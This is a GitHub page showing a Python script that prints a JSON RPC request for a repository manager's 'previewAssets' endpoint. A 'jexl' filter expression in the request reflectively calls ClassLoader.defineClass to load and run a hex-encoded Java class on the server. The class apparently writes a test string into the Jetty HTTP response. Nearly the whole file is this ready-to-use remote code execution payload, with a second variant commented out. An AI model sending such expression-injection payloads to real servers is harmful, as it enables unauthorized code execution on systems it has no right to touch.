-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathtrans2json.py
58 lines (55 loc) · 6.44 KB
/
trans2json.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import json
"""
exp = '''function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100420a000d001b0a001c001d0a001c001e0a001f00200a002100220800230a0024002507002609002700280a0029002a0a000c002b07002c07002d0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100064c546573743b01000474657374010001650100154c6a6176612f6c616e672f457863657074696f6e3b0100083c636c696e69743e01000a536f7572636546696c65010009546573742e6a6176610c000e000f07002e0c002f00300c003100320700330c003400350700360c0037003801000b74657374323333333333330700390c003a003b0100136a6176612f6c616e672f457863657074696f6e07003c0c003d003e07003f0c004000410c0015000f010004546573740100106a6176612f6c616e672f4f626a6563740100276f72672f65636c697073652f6a657474792f7365727665722f48747470436f6e6e656374696f6e01001467657443757272656e74436f6e6e656374696f6e01002b28294c6f72672f65636c697073652f6a657474792f7365727665722f48747470436f6e6e656374696f6e3b01000e676574487474704368616e6e656c01002828294c6f72672f65636c697073652f6a657474792f7365727665722f487474704368616e6e656c3b0100246f72672f65636c697073652f6a657474792f7365727665722f487474704368616e6e656c01000b676574526573706f6e736501002528294c6f72672f65636c697073652f6a657474792f7365727665722f526573706f6e73653b0100216f72672f65636c697073652f6a657474792f7365727665722f526573706f6e736501000967657457726974657201001728294c6a6176612f696f2f5072696e745772697465723b0100136a6176612f696f2f5072696e745772697465720100057772697465010015284c6a6176612f6c616e672f537472696e673b29560100106a6176612f6c616e672f53797374656d0100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f4f626a6563743b29560021000c000d0000000000030001000e000f000100100000002f00010001000000052ab70001b10000000200110000000600010000000600120000000c00010000000500130014000000090015000f000100100000005f000200010000001db80002b60003b60004b600051206b60007a7000b4bb200092ab6000ab1000100000011001400080002001100000016000500000021001100260014002300150025001c002700120000000c00010015000700160017000000080018000f00010010000000200000000000000004b8000bb10000000100110000000a000200000008000300090001001900000002001a'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType());
defineClass.setAccessible(true);
x=defineClass.invoke(
1.class.forName('java.lang.ClassLoader').getDeclaredMethod('getSystemClassLoader').invoke(null),
null,
z.getBytes('latin1'), 0,
1075
);x.newInstance();}
'''
"""
exp = '''function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100420a000d001b0a001c001d0a001c001e0a001f00200a002100220800230a0024002507002609002700280a0029002a0a000c002b07002c07002d0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100064c546573743b01000474657374010001650100154c6a6176612f6c616e672f457863657074696f6e3b0100083c636c696e69743e01000a536f7572636546696c65010009546573742e6a6176610c000e000f07002e0c002f00300c003100320700330c003400350700360c0037003801000b74657374323333333333330700390c003a003b0100136a6176612f6c616e672f457863657074696f6e07003c0c003d003e07003f0c004000410c0015000f010004546573740100106a6176612f6c616e672f4f626a6563740100276f72672f65636c697073652f6a657474792f7365727665722f48747470436f6e6e656374696f6e01001467657443757272656e74436f6e6e656374696f6e01002b28294c6f72672f65636c697073652f6a657474792f7365727665722f48747470436f6e6e656374696f6e3b01000e676574487474704368616e6e656c01002828294c6f72672f65636c697073652f6a657474792f7365727665722f487474704368616e6e656c3b0100246f72672f65636c697073652f6a657474792f7365727665722f487474704368616e6e656c01000b676574526573706f6e736501002528294c6f72672f65636c697073652f6a657474792f7365727665722f526573706f6e73653b0100216f72672f65636c697073652f6a657474792f7365727665722f526573706f6e736501000967657457726974657201001728294c6a6176612f696f2f5072696e745772697465723b0100136a6176612f696f2f5072696e745772697465720100057772697465010015284c6a6176612f6c616e672f537472696e673b29560100106a6176612f6c616e672f53797374656d0100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f4f626a6563743b29560021000c000d0000000000030001000e000f000100100000002f00010001000000052ab70001b10000000200110000000600010000000600120000000c00010000000500130014000000090015000f000100100000005f000200010000001db80002b60003b60004b600051206b60007a7000b4bb200092ab6000ab1000100000011001400080002001100000016000500000021001100260014002300150025001c002700120000000c00010015000700160017000000080018000f00010010000000200000000000000004b8000bb10000000100110000000a000200000008000300090001001900000002001a'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType());
defineClass.setAccessible(true);
x=defineClass.invoke(
y,
null,
z.getBytes('latin1'), 0,
1075
);x.newInstance();}
'''
d = {
"action":"coreui_Component",
"method":"previewAssets",
"data":[
{
"page":1,
"start":0,
"limit":50,
"sort":[
{
"property":"name",
"direction":"ASC"
}
],
"filter":[
{
"property":"repositoryName",
"value":"*"
},
{
"property":"expression",
"value":exp
},
{
"property":"type",
"value":"jexl"
}
]
}
],
"type":"rpc",
"tid":8
}
print(json.dumps(d))